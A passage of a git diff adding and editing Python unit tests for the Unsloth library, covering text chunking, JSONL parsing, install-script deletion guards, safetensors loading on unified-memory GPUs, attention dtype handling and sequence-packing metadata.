+        assert len(valid_chunks) > 0, "Valid stride should produce chunks"
+
+        try:
+            loader.smart_chunk_text(long_text, chunk_size = 5, stride = 5)
+            assert False, "Should raise ValueError for stride == chunk_size"
+        except ValueError as e:
+            assert "stride" in str(e) and "chunk_size" in str(e)
+
+        try:
+            loader.smart_chunk_text(long_text, chunk_size = 5, stride = 10)
+            assert False, "Should raise ValueError for stride > chunk_size"
+        except ValueError as e:
+            assert "stride" in str(e) and "chunk_size" in str(e)
+
         # Preprocessor.
         preprocessor = TextPreprocessor()
         clean_text = preprocessor.clean_text("  messy   text  \n\n\n  ")
@@ -221,6 +241,171 @@ def test_raw_text_loader():
         os.unlink(test_file)
 
 
+def test_smart_chunk_text_single_chunk_no_eos_returns_plain_list():
+    """smart_chunk_text's single-chunk branch must return a plain list for
+    input_ids even when the tokenizer has no eos_token_id, matching the
+    multi-chunk branch's unconditional tolist()/list() conversion."""
+
+    class MockTensor:
+        def __init__(self, data):
+            self.data = data
+
+        def __getitem__(self, idx):
+            return self.data
+
+        def __len__(self):
+            return len(self.data)
+
+        def tolist(self):
+            return self.data
+
+    class MockTokenizerNoEos:
+        def __init__(self):
+            self.eos_token = None
+            self.eos_token_id = None
+
+        def __call__(
+            self,
+            text,
+            return_tensors = None,
+            add_special_tokens = False,
+        ):
+            token_ids = list(range(len(text.split())))
+            if return_tensors == "pt":
+                return {"input_ids": [MockTensor(token_ids)]}
+            return {"input_ids": token_ids}
+
+        def decode(
+            self,
+            token_ids,
+            skip_special_tokens = False,
+        ):
+            return " ".join(f"word_{i}" for i in token_ids)
+
+    loader = RawTextDataLoader(MockTokenizerNoEos(), chunk_size = 2048, stride = 512)
+    result = loader.smart_chunk_text(
+        "hello world short text", chunk_size = 2048, stride = 512, return_tokenized = True
+    )
+    input_ids = result[0]["input_ids"]
+    assert isinstance(
+        input_ids, list
+    ), f"input_ids should be a plain list even without an eos_token_id, got {type(input_ids)}"
+    assert input_ids == [0, 1, 2, 3], f"unexpected input_ids: {input_ids}"
+    print("✅ test_smart_chunk_text_single_chunk_no_eos_returns_plain_list passed!")
+    return True
+
+
+def test_load_from_file_skips_non_object_json_lines():
+    """Non-object .jsonl lines (valid JSON, not dicts) are skipped, not fatal."""
+    # "context" contains "text", ["text"] holds it, 42 isn't iterable -- each
+    # would reach data[field] and raise TypeError without the isinstance guard.
+    with tempfile.NamedTemporaryFile("w", suffix = ".jsonl", delete = False) as f:
+        f.write('"context"\n["text", "x"]\n42\n{"text": "keep this"}\n')
+        path = f.name
+    try:
+        text = RawTextDataLoader(None)._read_file_by_format(path, "json_lines")
+        assert text == "keep this", text
+    finally:
+        os.unlink(path)
+
+    print("test_load_from_file_skips_non_object_json_lines passed")
+    return True
+
+
+def test_smart_chunk_text_empty_input_returns_no_chunks():
+    """Empty/whitespace text must yield no chunks. This tokenizer keeps one token
+    per char (like BPE/SentencePiece keeping spaces), so a len(tokens)==0 check
+    would miss whitespace; the fix guards on text.strip() before tokenizing."""
+
+    class WhitespacePreservingTokenizer:
+        def __init__(self, eos_token_id):
+            self.eos_token = "</s>" if eos_token_id is not None else None
+            self.eos_token_id = eos_token_id
+
+        def __call__(
+            self,
+            text,
+            return_tensors = None,
+            add_special_tokens = False,
+        ):
+            token_ids = [ord(c) % 100 for c in text]  # whitespace -> real tokens
+            if return_tensors == "pt":
+                return {"input_ids": [token_ids]}
+            return {"input_ids": token_ids}
+
+        def decode(
+            self,
+            token_ids,
+            skip_special_tokens = False,
+        ):
+            return "".join(chr(32 + (t % 90)) for t in token_ids)
+
+    for eos_token_id in (2, None):
+        loader = RawTextDataLoader(
+            WhitespacePreservingTokenizer(eos_token_id), chunk_size = 2048, stride = 512
+        )
+        # Whitespace tokenizes to >0 tokens, so [] proves the pre-tokenize guard.
+        assert len(loader.tokenizer("   \n\t  ")["input_ids"]) > 0
+        for text in ("", "   \n\t  "):
+            for return_tokenized in (True, False):
+                assert (
+                    loader.smart_chunk_text(
+                        text, chunk_size = 2048, stride = 512, return_tokenized = return_tokenized
+                    )
+                    == []
+                ), f"no chunks for empty input (eos={eos_token_id}, text={text!r}, tokenized={return_tokenized})"
+                assert loader.chunk_text(text, return_tokenized = return_tokenized) == [], (
+                    f"chunk_text: no chunks for empty input "
+                    f"(eos={eos_token_id}, text={text!r}, tokenized={return_tokenized})"
+                )
+    print("test_smart_chunk_text_empty_input_returns_no_chunks passed")
+    return True
+
+
+def test_load_from_files_all_empty_raises():
+    """All-empty file list must raise (like load_from_file) instead of returning
+    a 0-row text-column dataset in return_tokenized mode."""
+
+    class WhitespacePreservingTokenizer:
+        eos_token = "</s>"
+        eos_token_id = 2
+
+        def __call__(
+            self,
+            text,
+            return_tensors = None,
+            add_special_tokens = False,
+        ):
+            token_ids = [ord(c) % 100 for c in text]
+            if return_tensors == "pt":
+                return {"input_ids": [token_ids]}
+            return {"input_ids": token_ids}
+
+    loader = RawTextDataLoader(WhitespacePreservingTokenizer(), chunk_size = 2048, stride = 512)
+    paths = []
+    try:
+        for content in ("", "   \n\t  "):
+            with tempfile.NamedTemporaryFile("w", suffix = ".txt", delete = False) as f:
+                f.write(content)
+                paths.append(f.name)
+        raised = False
+        try:
+            loader.load_from_files(paths, return_tokenized = True)
+        except ValueError as e:
+            raised = True
+            assert "empty" in str(e).lower() or "whitespace" in str(e).lower(), str(e)
+        assert raised, "load_from_files must raise when all files are empty/whitespace"
+    finally:
+        for p in paths:
+            os.unlink(p)
+    print("test_load_from_files_all_empty_raises passed")
+    return True
+
+
 if __name__ == "__main__":
     success = test_raw_text_loader()
+    success = test_smart_chunk_text_single_chunk_no_eos_returns_plain_list() and success
+    success = test_load_from_file_skips_non_object_json_lines() and success
+    success = test_smart_chunk_text_empty_input_returns_no_chunks() and success
+    success = test_load_from_files_all_empty_raises() and success
     sys.exit(0 if success else 1)
diff --git a/tests/test_studio_install_workspace_guard.py b/tests/test_studio_install_workspace_guard.py
index 89836cfb0d..18678a9b4a 100644
--- a/tests/test_studio_install_workspace_guard.py
+++ b/tests/test_studio_install_workspace_guard.py
@@ -1,4 +1,4 @@
-"""install.sh/install.ps1 must refuse to rm -rf an existing Studio venv in env-mode without a sentinel."""
+"""install.sh/install.ps1 must refuse to rm -rf an existing Unsloth venv in env-mode without a sentinel."""
 
 from __future__ import annotations
 
@@ -127,7 +127,7 @@ def test_install_ps1_has_matching_env_mode_guard():
     ), "install.ps1 must gate Remove-Item $VenvDir on env-mode"
     assert "share\\studio.conf" in block, "install.ps1 guard must check share\\studio.conf sentinel"
     assert "bin\\unsloth.exe" in block, "install.ps1 guard must check bin\\unsloth.exe sentinel"
-    assert "Refusing to delete non-Studio venv" in block
+    assert "Refusing to delete non-Unsloth venv" in block
 
 
 def test_setup_ps1_has_writability_probe():
@@ -160,7 +160,7 @@ def test_env_mode_blocks_when_bin_unsloth_is_a_directory(tmp_path):
         capture_output = True,
     )
     assert res.returncode != 0, (
-        "directory at bin/unsloth must NOT satisfy the Studio sentinel; "
+        "directory at bin/unsloth must NOT satisfy the Unsloth sentinel; "
         f"stdout={res.stdout!r} stderr={res.stderr!r}"
     )
     assert (venv / "important.txt").is_file(), "unrelated workspace data must survive"
@@ -205,7 +205,7 @@ def test_install_ps1_sentinel_uses_pathtype_leaf():
 
 
 def test_setup_ps1_stale_venv_has_env_mode_guard():
-    """setup.ps1 stale-venv branch must gate Remove-Item $VenvDir on a custom-root Studio sentinel."""
+    """setup.ps1 stale-venv branch must gate Remove-Item $VenvDir on a custom-root Unsloth sentinel."""
     src = SETUP_PS1.read_text()
     idx = src.index("Stale venv detected")
     block = src[idx : idx + 1500]
@@ -254,6 +254,14 @@ def test_setup_ps1_prebuilt_llama_cpp_has_ownership_guard():
     ), "Assert-StudioOwnedOrAbsent must precede the install_llama_prebuilt.py call"
 
 
+def test_setup_ps1_adopts_existing_whisper_prebuilt_marker():
+    text = SETUP_PS1.read_text(encoding = "utf-8")
+    helper_start = text.index("function Test-StudioOwnedAdoptable")
+    helper_end = text.index("function Assert-StudioOwnedOrAbsent", helper_start)
+    helper = text[helper_start:helper_end]
+    assert "UNSLOTH_WHISPER_PREBUILT_INFO.json" in helper
+
+
 def test_env_mode_passes_when_venv_marker_present(tmp_path):
     """install.sh env-mode guard must accept the in-VENV .unsloth-studio-owned marker as a sentinel."""
     studio_home = tmp_path / "ws"
diff --git a/tests/test_studio_root_resilience.py b/tests/test_studio_root_resilience.py
index 0dfb826376..779ff2f3f1 100644
--- a/tests/test_studio_root_resilience.py
+++ b/tests/test_studio_root_resilience.py
@@ -1,4 +1,4 @@
-"""Studio install-root inference must not crash under hostile filesystem conditions (PermissionError/OSError swallowed; custom root kept when resolve() fails)."""
+"""Unsloth install-root inference must not crash under hostile filesystem conditions (PermissionError/OSError swallowed; custom root kept when resolve() fails)."""
 
 from __future__ import annotations
 
diff --git a/tests/test_studio_shutdown_thread_wait.py b/tests/test_studio_shutdown_thread_wait.py
index 4ec2afc0f0..8299116d9a 100644
--- a/tests/test_studio_shutdown_thread_wait.py
+++ b/tests/test_studio_shutdown_thread_wait.py
@@ -130,4 +130,4 @@ def test_cli_entrypoints_wait_before_returning_to_shell():
 
     assert (
         _calls_shutdown_wait_getattr(tree) >= 3
-    ), "Studio CLI terminal paths must wait for the backend thread after requesting shutdown"
+    ), "Unsloth CLI terminal paths must wait for the backend thread after requesting shutdown"
diff --git a/tests/test_synthetic_chunk_data.py b/tests/test_synthetic_chunk_data.py
index b9167d214f..17e5228e32 100644
--- a/tests/test_synthetic_chunk_data.py
+++ b/tests/test_synthetic_chunk_data.py
@@ -104,10 +104,71 @@ def test_chunk_data_rejects_overlap_not_smaller_than_chunk():
         os.unlink(path)
 
 
+def test_chunk_data_uninitialized_error_names_real_class():
+    # Without max_seq_length the guard tells the user which method to call first.
+    # The message must name the real class (SyntheticDataKit) so copying it works;
+    # a misspelling would raise NameError when the user follows it verbatim.
+    kit = SyntheticDataKit.__new__(SyntheticDataKit)
+    kit.tokenizer = _MockTokenizer()  # max_seq_length intentionally unset
+    with tempfile.NamedTemporaryFile("w", suffix = ".txt", delete = False) as f:
+        f.write("word " * 50)
+        path = f.name
+    try:
+        try:
+            kit.chunk_data(filename = path)
+            raise AssertionError("expected RuntimeError when max_seq_length is unset")
+        except RuntimeError as e:
+            msg = str(e)
+            assert (
+                "SyntheticDataKit.from_pretrained" in msg
+            ), f"error must name SyntheticDataKit.from_pretrained, got: {msg}"
+            assert (
+                "SynthetidDataKit" not in msg
+            ), f"error must not misspell the class name, got: {msg}"
+    finally:
+        os.unlink(path)
+
+
+def test_chunk_data_chunks_do_not_exceed_max_tokens():
+    # Every chunk must fit within max_tokens. The old multi-chunk path emitted one
+    # fewer, oversized chunk, and a doc just over the threshold came back unsplit.
+    kit = _make_kit(max_seq_length = 2048, max_generation_tokens = 760, overlap = 64)
+    max_tokens = 2048 - 760 * 2 - 128  # 400
+
+    for n_words in (500, 2000):
+        out, contents = _chunk("word " * n_words, kit = kit)
+        assert (
+            len(out) >= 2
+        ), f"a {n_words}-token doc (> max_tokens={max_tokens}) must be split, got {len(out)}"
+        for content in contents:
+            n_tokens = len(content.split())
+            assert (
+                n_tokens <= max_tokens
+            ), f"chunk has {n_tokens} tokens, exceeding max_tokens={max_tokens}"
+
+
+def test_chunk_data_does_not_over_split():
+    # n_chunks must be the minimum count: ceil((length - overlap) / stride), not
+    # ceil(length / stride) which over-splits just past a stride multiple. At 673
+    # tokens (max_tokens=400, overlap=64) the tight count gives 2 chunks (~369+368).
+    kit = _make_kit(max_seq_length = 2048, max_generation_tokens = 760, overlap = 64)
+    max_tokens = 2048 - 760 * 2 - 128  # 400
+    out, contents = _chunk("word " * 673, kit = kit)
+    assert len(out) == 2, f"673-token doc should yield the minimal 2 chunks, got {len(out)}"
+    for content in contents:
+        n_tokens = len(content.split())
+        assert (
+            n_tokens <= max_tokens
+        ), f"chunk has {n_tokens} tokens, exceeding max_tokens={max_tokens}"
+
+
 if __name__ == "__main__":
     test_chunk_data_keeps_single_chunk_document()
     test_chunk_data_still_splits_long_document()
     test_chunk_data_empty_document_yields_no_chunks()
     test_chunk_data_short_document_is_not_split_into_fragments()
     test_chunk_data_rejects_overlap_not_smaller_than_chunk()
+    test_chunk_data_uninitialized_error_names_real_class()
+    test_chunk_data_chunks_do_not_exceed_max_tokens()
+    test_chunk_data_does_not_over_split()
     print("OK")
diff --git a/tests/test_uma_safetensors_load.py b/tests/test_uma_safetensors_load.py
new file mode 100644
index 0000000000..c6d304ab4f
--- /dev/null
+++ b/tests/test_uma_safetensors_load.py
@@ -0,0 +1,229 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.
+
+"""Unit tests for the UMA safetensors clone-then-move fast load.
+
+The module loads in isolation with a fake ``transformers.modeling_utils``. The
+CUDA correctness check needs a GPU; gating, passthrough, idempotency and opt-out
+are GPU-free. The gate is lazy (wrapper-time), so the wrapper installs
+everywhere and passes through when it's off.
+"""
+
+from __future__ import annotations
+
+import importlib.util
+import sys
+import types
+from pathlib import Path
+
+import pytest
+
+torch = pytest.importorskip("torch")
+safetensors_torch = pytest.importorskip("safetensors.torch")
+import safetensors  # noqa: E402
+
+_MODULE_PATH = Path(__file__).resolve().parent.parent / "unsloth" / "models" / "_uma_safetensors.py"
+
+
+def _load_module():
+    spec = importlib.util.spec_from_file_location("uma_safetensors_under_test", _MODULE_PATH)
+    assert spec is not None and spec.loader is not None
+    module = importlib.util.module_from_spec(spec)
+    spec.loader.exec_module(module)
+    return module
+
+
+@pytest.fixture()
+def uma():
+    return _load_module()
+
+
+@pytest.fixture()
+def force_uma(uma, monkeypatch):
+    """Force the UMA gate on (or off) and keep the lru_cache from sticking."""
+
+    def _set(on):
+        monkeypatch.setenv("UNSLOTH_FORCE_UMA", "1" if on else "0")
+        uma.is_integrated_unified_memory_gpu.cache_clear()
+
+    yield _set
+    uma.is_integrated_unified_memory_gpu.cache_clear()
+
+
+@pytest.fixture()
+def tiny_safetensors(tmp_path):
+    tensors = {
+        "w": torch.arange(32, dtype = torch.float32).reshape(4, 8),
+        "b": torch.tensor([1.0, 2.0, 3.0, 4.0], dtype = torch.float32),
+    }
+    path = tmp_path / "model.safetensors"
+    safetensors_torch.save_file(tensors, str(path))
+    return path, tensors
+
+
+def _install_fake_modeling_utils(monkeypatch, safe_open_fn):
+    fake_transformers = types.ModuleType("transformers")
+    fake_mu = types.ModuleType("transformers.modeling_utils")
+    fake_mu.safe_open = safe_open_fn
+    fake_transformers.modeling_utils = fake_mu
+    monkeypatch.setitem(sys.modules, "transformers", fake_transformers)
+    monkeypatch.setitem(sys.modules, "transformers.modeling_utils", fake_mu)
+    return fake_mu
+
+
+# --- detection / gate ---
+
+
+def test_force_uma_on(uma, monkeypatch):
+    monkeypatch.setenv("UNSLOTH_FORCE_UMA", "1")
+    uma.is_integrated_unified_memory_gpu.cache_clear()
+    assert uma.is_integrated_unified_memory_gpu() is True
+
+
+def test_force_uma_off(uma, monkeypatch):
+    monkeypatch.setenv("UNSLOTH_FORCE_UMA", "0")
+    uma.is_integrated_unified_memory_gpu.cache_clear()
+    assert uma.is_integrated_unified_memory_gpu() is False
+
+
+@pytest.mark.parametrize(
+    "device,expected",
+    [
+        (0, True),
+        ("cuda", True),
+        ("cuda:0", True),
+        ("cpu", False),
+        ("disk", False),
+        (None, False),
+        (True, False),  # a bool is not a device index
+    ],
+)
+def test_is_cuda_target(uma, device, expected):
+    assert uma._is_cuda_target(device) is expected
+
+
+def test_is_cuda_target_torch_device(uma):
+    assert uma._is_cuda_target(torch.device("cuda", 0)) is True
+    assert uma._is_cuda_target(torch.device("cpu")) is False
+
+
+# --- patch gating ---
+
+
+def test_wrapper_passes_through_off_uma(uma, force_uma, monkeypatch):
+    """Gate OFF: every call -- including CUDA targets -- passes straight through
+    to the real safe_open (the gate is evaluated lazily inside the wrapper)."""
+    force_uma(False)
+    sentinel = object()
+    calls = []
+
+    def fake_safe_open(*args, **kwargs):
+        calls.append((args, kwargs))
+        return sentinel
+
+    fake_mu = _install_fake_modeling_utils(monkeypatch, fake_safe_open)
+    assert uma.patch_unified_memory_safetensors_load() is True
+    assert getattr(fake_mu.safe_open, "_unsloth_uma_clone", False) is True
+    out = fake_mu.safe_open("shard.safetensors", "pt", "cuda:0")
+    assert out is sentinel
+    assert calls == [(("shard.safetensors", "pt", "cuda:0"), {})]
+
+
+def test_patch_install_does_not_evaluate_gate(uma, monkeypatch):
+    """Installing the wrapper must NOT query the integrated-GPU property -- that
+    would init CUDA at ``import unsloth`` (fork-unsafe, and before the Spark
+    allocator config is set)."""
+
+    def _boom():
+        raise AssertionError("gate must not be evaluated at install time")
+
+    _install_fake_modeling_utils(monkeypatch, safetensors.safe_open)
+    monkeypatch.setattr(uma, "is_integrated_unified_memory_gpu", _boom)
+    assert uma.patch_unified_memory_safetensors_load() is True
+
+
+def test_patch_noop_when_opted_out(uma, force_uma, monkeypatch):
+    force_uma(True)
+    monkeypatch.setenv("UNSLOTH_DISABLE_UMA_CLONE_LOAD", "1")
+    real = object()
+    fake_mu = _install_fake_modeling_utils(monkeypatch, real)
+    assert uma.patch_unified_memory_safetensors_load() is False
+    assert fake_mu.safe_open is real
+
+
+def test_patch_installs_and_is_idempotent(uma, force_uma, monkeypatch):
+    force_uma(True)
+    fake_mu = _install_fake_modeling_utils(monkeypatch, safetensors.safe_open)
+    assert uma.patch_unified_memory_safetensors_load() is True
+    wrapped = fake_mu.safe_open
+    assert getattr(wrapped, "_unsloth_uma_clone", False) is True
+    # second call must not double-wrap
+    assert uma.patch_unified_memory_safetensors_load() is True
+    assert fake_mu.safe_open is wrapped
+
+
+# --- correctness ---
+
+
+def test_cpu_target_is_passthrough(uma, force_uma, monkeypatch, tiny_safetensors):
+    path, tensors = tiny_safetensors
+    force_uma(True)
+    fake_mu = _install_fake_modeling_utils(monkeypatch, safetensors.safe_open)
+    uma.patch_unified_memory_safetensors_load()
+    # device="cpu" must NOT be intercepted -> identical data, still on CPU.
+    with fake_mu.safe_open(str(path), framework = "pt", device = "cpu") as f:
+        for key, expected in tensors.items():
+            got = f.get_slice(key)[:]
+            assert got.device.type == "cpu"
+            assert torch.equal(got, expected)
+
+
+@pytest.mark.skipif(
+    not (hasattr(torch, "cuda") and torch.cuda.is_available()),
+    reason = "needs a GPU for the host->device clone-and-move path",
+)
+def test_cuda_target_clones_and_moves(uma, force_uma, monkeypatch, tiny_safetensors):
+    path, tensors = tiny_safetensors
+    force_uma(True)
+    fake_mu = _install_fake_modeling_utils(monkeypatch, safetensors.safe_open)
+    uma.patch_unified_memory_safetensors_load()
+    # device="cuda" IS intercepted -> tensors land on cuda, byte-identical.
+    with fake_mu.safe_open(str(path), framework = "pt", device = "cuda") as f:
+        for key, expected in tensors.items():
+            got = f.get_slice(key)[:]
+            assert got.device.type == "cuda"
+            assert torch.equal(got.cpu(), expected)
+            got_full = f.get_tensor(key)
+            assert got_full.device.type == "cuda"
+            assert torch.equal(got_full.cpu(), expected)
+
+
+@pytest.mark.skipif(
+    not (hasattr(torch, "cuda") and torch.cuda.is_available()),
+    reason = "needs a GPU for the low-memory fallback path",
+)
+def test_low_memory_falls_back_to_direct_move(uma, force_uma, monkeypatch, tiny_safetensors):
+    path, tensors = tiny_safetensors
+    force_uma(True)
+    fake_mu = _install_fake_modeling_utils(monkeypatch, safetensors.safe_open)
+    uma.patch_unified_memory_safetensors_load()
+    # Clone OOMs (transient CPU doubling on a constrained UMA box): the wrapper
+    # must fall back to the direct move and still succeed.
+    real_clone = torch.Tensor.clone
+
+    def _oom_clone(self, *a, **k):
+        raise RuntimeError("[enforce fail] not enough memory")
+
+    monkeypatch.setattr(torch.Tensor, "clone", _oom_clone)
+    try:
+        with fake_mu.safe_open(str(path), framework = "pt", device = "cuda") as f:
+            for key, expected in tensors.items():
+                got = f.get_slice(key)[:]
+                assert got.device.type == "cuda"
+                got_full = f.get_tensor(key)
+                assert got_full.device.type == "cuda"
+    finally:
+        monkeypatch.setattr(torch.Tensor, "clone", real_clone)
+    for key, expected in tensors.items():
+        with fake_mu.safe_open(str(path), framework = "pt", device = "cuda") as f:
+            assert torch.equal(f.get_tensor(key).cpu(), expected)
diff --git a/tests/utils/test_attention_dispatch_dora_dtype.py b/tests/utils/test_attention_dispatch_dora_dtype.py
index a6586dea8d..f0496ee6a8 100644
--- a/tests/utils/test_attention_dispatch_dora_dtype.py
+++ b/tests/utils/test_attention_dispatch_dora_dtype.py
@@ -71,3 +71,59 @@ def test_varlen_flash_downcasts_fp32_qkv(monkeypatch):
 def test_bf16_qkv_left_untouched(monkeypatch):
     # Standard LoRA path (already bf16) must not be altered.
     assert _run(monkeypatch, torch.bfloat16, ad.FLASH_DENSE) == torch.bfloat16
+
+
+def _run_xformers(monkeypatch, qkv_dtype, fp32_unsupported):
+    # Same #1013 fp32 downcast, but for the xformers backend. On sm_100+ (B200, sm_120)
+    # xformers' fp32-capable cutlass op is capability-rejected and only its flash-2 op
+    # runs (fp16/bf16 only), so fp32 must be downcast there too or the op raises.
+    captured = {}
+
+    def fake_xformers_attention(
+        Q,
+        K,
+        V,
+        attn_bias = None,
+        **kwargs,
+    ):
+        captured["dtype"] = Q.dtype
+        # Mirror the flash-2 op's real dtype constraint so an unfixed dispatch fails loudly.
+        if fp32_unsupported and Q.dtype not in (torch.float16, torch.bfloat16):
+            raise RuntimeError("no operator found for memory_efficient_attention with fp32")
+        return torch.zeros_like(Q)
+
+    monkeypatch.setattr(ad, "_XFORMERS_FP32_UNSUPPORTED", fp32_unsupported, raising = False)
+    monkeypatch.setattr(ad, "xformers_attention", fake_xformers_attention, raising = False)
+    monkeypatch.setattr(
+        ad, "build_xformers_block_causal_mask", lambda *a, **k: object(), raising = False
+    )
+
+    bsz, n_heads, q_len, head_dim = 1, 2, 4, 8
+    Q = torch.randn(bsz, n_heads, q_len, head_dim, dtype = qkv_dtype)
+    K = torch.randn(bsz, n_heads, q_len, head_dim, dtype = qkv_dtype)
+    V = torch.randn(bsz, n_heads, q_len, head_dim, dtype = qkv_dtype)
+
+    config = ad.AttentionConfig(backend = ad.XFORMERS, n_kv_heads = n_heads, n_groups = 1)
+    context = ad.AttentionContext(
+        bsz = bsz,
+        q_len = q_len,
+        kv_seq_len = q_len,
+        n_heads = n_heads,
+        head_dim = head_dim,
+        requires_grad = False,
+        seq_info = None,
+        attention_mask = None,
+        causal_mask = None,
+    )
+    ad.run_attention(config = config, context = context, Q = Q, K = K, V = V)
+    return captured["dtype"]
+
+
+def test_xformers_downcasts_fp32_qkv_on_sm100_plus(monkeypatch):
+    # sm_100+ (fp32 op gone): fp32 DoRA output must be downcast, else the flash-2 op raises.
+    assert _run_xformers(monkeypatch, torch.float32, True) in (torch.bfloat16, torch.float16)
+
+
+def test_xformers_leaves_fp32_qkv_below_sm100(monkeypatch):
+    # Below sm_100 the cutlass op handles fp32 natively, so it must be passed through as-is.
+    assert _run_xformers(monkeypatch, torch.float32, False) == torch.float32
diff --git a/tests/utils/test_packing.py b/tests/utils/test_packing.py
index a8557d8533..1b8bb65058 100644
--- a/tests/utils/test_packing.py
+++ b/tests/utils/test_packing.py
@@ -14,6 +14,8 @@
 # along with this program.  If not, see <https://www.gnu.org/licenses/>.
 
 from unsloth import FastLanguageModel
+import unsloth.trainer as trainer_module
+import unsloth.utils.packing as packing_module
 from unsloth.utils import attention_dispatch as attention_dispatch_utils
 from unsloth.utils.packing import (
     configure_padding_free,
@@ -21,6 +23,7 @@ from unsloth.utils.packing import (
     enable_padding_free_metadata,
     enable_sample_packing,
     mask_packed_sequence_boundaries,
+    patch_hybrid_linear_attention_varlen,
 )
 
 from contextlib import ExitStack
@@ -29,7 +32,7 @@ from unittest.mock import patch
 
 import pytest
 import torch
-from datasets import Dataset
+from datasets import Dataset, IterableDataset
 from trl import SFTConfig, SFTTrainer
 from trl.trainer.sft_trainer import DataCollatorForLanguageModeling
 
@@ -160,6 +163,724 @@ def test_configure_padding_free():
     assert config.remove_unused_columns is False
 
 
+# --- Hybrid linear-attention guard + varlen shim (PR #7211 / #7249) ---------------
+
+
+def _hybrid_config_model():
+    # Qwen3.5 / Qwen3-Next style: explicit linear_attention layer schedule.
+    return SimpleNamespace(
+        config = SimpleNamespace(layer_types = ["linear_attention", "full_attention"])
+    )
+
+
+def _gemma3_model():
+    # Has layer_types but no linear_attention -> must NOT be flagged as hybrid.
+    return SimpleNamespace(
+        config = SimpleNamespace(
+            model_type = "gemma3", layer_types = ["sliding_attention", "full_attention"]
+        ),
+    )
+
+
+def _dense_qwen3_model():
+    return SimpleNamespace(
+        config = SimpleNamespace(model_type = "qwen3", architectures = ["Qwen3ForCausalLM"])
+    )
+
+
+class _FakeGatedDeltaNet(torch.nn.Module):
+    def __init__(self):
+        super().__init__()
+        self.conv1d = torch.nn.Conv1d(4, 4, 3, groups = 4)
+        self.A_log = torch.nn.Parameter(torch.zeros(4))
+
+    def forward(self, hidden_states, **kwargs):  # dispatch through self.<kernel>
+        return self.chunk_gated_delta_rule(self.causal_conv1d_fn(hidden_states))
+
+
+class _FakeHybridModel(torch.nn.Module):
+    def __init__(self):
+        super().__init__()
+        self.config = SimpleNamespace()  # no markers -> forces module-level detection
+        self.linear_attn = _FakeGatedDeltaNet()
+
+
+def test_is_hybrid_linear_attention_detects_and_excludes():
+    is_hybrid = trainer_module._is_hybrid_linear_attention_model
+    assert is_hybrid(_hybrid_config_model()) is True
+    assert is_hybrid(_FakeHybridModel()) is True  # module-structural evidence
+    assert is_hybrid(_text_model()) is False  # Llama
+    assert is_hybrid(_gemma3_model()) is False  # layer_types without linear_attention
+    assert is_hybrid(_dense_qwen3_model()) is False  # dense Qwen3
+    assert is_hybrid(None) is False
+
+
+def test_varlen_from_position_ids():
+    cu, seq_idx = packing_module._varlen_from_position_ids(torch.tensor([[0, 1, 0, 0, 1, 2]]))
+    assert cu.tolist() == [0, 2, 3, 6]
+    assert seq_idx.tolist() == [[0, 0, 1, 2, 2, 2]]
+    assert (
+        packing_module._varlen_from_position_ids(torch.tensor([[0, 1, 2, 3]])) is None
+    )  # single sequence
+    assert packing_module._varlen_from_position_ids(torch.tensor([[1, 2, 3]])) is None  # first != 0
+    assert (
+        packing_module._varlen_from_position_ids(torch.tensor([[0, 1], [0, 1]])) is None
+    )  # normal 2-row batch
+    assert packing_module._varlen_from_position_ids(None) is None
+
+
+def test_seq_idx_from_cu_seqlens_handles_trailing_pad():
+    cu = torch.tensor([0, 2, 5], dtype = torch.int32)
+    boundaries, seq_idx = packing_module._seq_idx_from_cu_seqlens(cu, total = 8)  # pad_to_multiple_of
+    assert boundaries.tolist() == [0, 2, 5, 8]
+    assert seq_idx.tolist() == [[0, 0, 1, 1, 1, 2, 2, 2]]
+    boundaries2, _ = packing_module._seq_idx_from_cu_seqlens(cu, total = 5)  # exact fit
+    assert boundaries2.tolist() == [0, 2, 5]
+    assert (
+        packing_module._seq_idx_from_cu_seqlens(torch.tensor([1, 2], dtype = torch.int32), total = 2)
+        is None
+    )
+    assert packing_module._seq_idx_from_cu_seqlens(cu, total = 3) is None  # boundaries exceed total
+
+
+def test_hybrid_varlen_metadata_prefers_packed_seq_lengths():
+    # A competing position_ids would segment [0, 3, 6]; packed_seq_lengths must win.
+    kwargs = {
+        "input_ids": torch.zeros(1, 6, dtype = torch.long),
+        "packed_seq_lengths": torch.tensor([2, 1, 3], dtype = torch.int32),
+        "position_ids": torch.tensor([[0, 1, 2, 0, 1, 2]]),
+    }
+    cu, seq_idx = packing_module._hybrid_varlen_metadata(kwargs)
+    assert cu.tolist() == [0, 2, 3, 6]
+    assert seq_idx.tolist() == [[0, 0, 1, 2, 2, 2]]
+
+
+def test_hybrid_varlen_metadata_suppressed_when_cached():
+    base = {
+        "input_ids": torch.zeros(1, 6, dtype = torch.long),
+        "packed_seq_lengths": torch.tensor([2, 1, 3], dtype = torch.int32),
+    }
+    assert packing_module._hybrid_varlen_metadata({**base, "use_cache": True}) is None
+    assert packing_module._hybrid_varlen_metadata({**base, "past_key_values": object()}) is None
+
+
+def test_hybrid_varlen_metadata_none_for_plain_batch():
+    kwargs = {
+        "input_ids": torch.zeros(1, 4, dtype = torch.long),
+        "position_ids": torch.tensor([[0, 1, 2, 3]]),
+    }
+    assert packing_module._hybrid_varlen_metadata(kwargs) is None
+
+
+def _make_fake_kernels():
+    def causal_conv1d_fn(
+        x,
+        weight = None,
+        bias = None,
+        activation = None,
+        seq_idx = None,
+    ):
+        causal_conv1d_fn.calls.append(seq_idx)
+        return x
+
+    causal_conv1d_fn.calls = []
+
+    def chunk_gated_delta_rule(
+        q,
+        k = None,
+        v = None,
+        cu_seqlens = None,
+        **kw,
+    ):
+        chunk_gated_delta_rule.calls.append(cu_seqlens)
+        return q
+
+    chunk_gated_delta_rule.calls = []
+    return causal_conv1d_fn, chunk_gated_delta_rule
+
+
+class _ShimGatedDeltaNet(torch.nn.Module):
+    def __init__(self):
+        super().__init__()
+        self.conv1d = torch.nn.Conv1d(4, 4, 3, groups = 4)
+        self.causal_conv1d_fn, self.chunk_gated_delta_rule = _make_fake_kernels()
+
+    def forward(self, hidden_states, **kwargs):
+        return self.chunk_gated_delta_rule(self.causal_conv1d_fn(hidden_states))
+
+
+class _ShimHybridModel(torch.nn.Module):
+    def __init__(self):
+        super().__init__()
+        self.config = SimpleNamespace(layer_types = ["linear_attention", "full_attention"])
+        self.linear_attn = _ShimGatedDeltaNet()
+
+    def forward(
+        self,
+        input_ids = None,
+        position_ids = None,
+        packed_seq_lengths = None,
+        use_cache = None,
+        **kwargs,
+    ):
+        return self.linear_attn(input_ids.float())
+
+
